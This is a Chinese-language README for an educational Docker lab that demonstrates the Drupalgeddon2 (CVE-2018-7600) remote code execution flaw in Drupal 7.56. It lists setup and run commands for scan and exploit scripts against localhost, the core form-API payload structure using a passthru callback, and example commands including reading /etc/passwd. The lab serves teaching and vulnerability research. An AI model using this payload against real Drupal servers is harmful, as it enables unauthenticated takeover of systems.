
演示使用基于 Docker 的易受攻击的 Drupal 7.56 环境进行 CVE-2018-7600 (Drupalgeddon2) 远程代码执行的教学实验室。
一个教育性实验室,通过使用 Docker 部署的存在漏洞的 Drupal 7.56 环境,演示如何利用 CVE-2018-7600(Drupalgeddon2)。
本项目模拟真实世界的漏洞评估工作流程,包括:
CVE-2018-7600(Drupalgeddon2)是 Drupal CMS 中的一个严重远程代码执行(RCE)漏洞。
该问题存在于 Drupal 的 Form API 中,用户可控的输入可被解释为渲染数组(render arrays),从而允许攻击者注入恶意回调,例如:
这会导致在服务器上无需认证即可执行命令。
Attacker (Kali Linux)
|
| HTTP Requests
v
Drupal 7.56 (Vulnerable)
|
v
MySQL Database
cve-2018-7600-drupalgeddon2-lab
│
├── README.md
├── setup.md
├── scan.py
├── exploit.py
│
├── lab-setup/
│ └── docker-compose.yml
│
├── screenshots/
│ ├── drupal-dashboard.png
│ ├── drupal-version.png
│ └── rce-output.png
│
├── logs/
│ ├── scan_results.txt
│ └── exploit_log.txt
│
├── payloads/
│ └── payload-list.txt
│
├── report/
│ └── drupalgeddon2-report.pdf


git clone https://github.com/Meraj1312/cve-2018-7600-drupalgeddon2-lab.git
cd cve-2018-7600-drupalgeddon2-lab
docker compose up -d
http://localhost:8080
python3 scan.py http://localhost:8080
示例输出:
[~] Scanning http://localhost:8080... VULNERABLE
python3 exploit.py http://localhost:8080 id
示例输出:
uid=33(www-data) gid=33(www-data)
使用的基本 payload 结构:
name[#post_render][]=passthru
name[#type]=markup
name[#markup]=whoami
示例命令:
whoami
id
cat /etc/passwd
完整 payload 列表位于:
payloads/payload-list.txt
为保持干净且专业的仓库结构:
这种分离确保了:
本实验室面向:
本项目仅用于教育和研究目的。
未经明确授权,请勿尝试攻击任何系统。
作者不对任何滥用行为负责。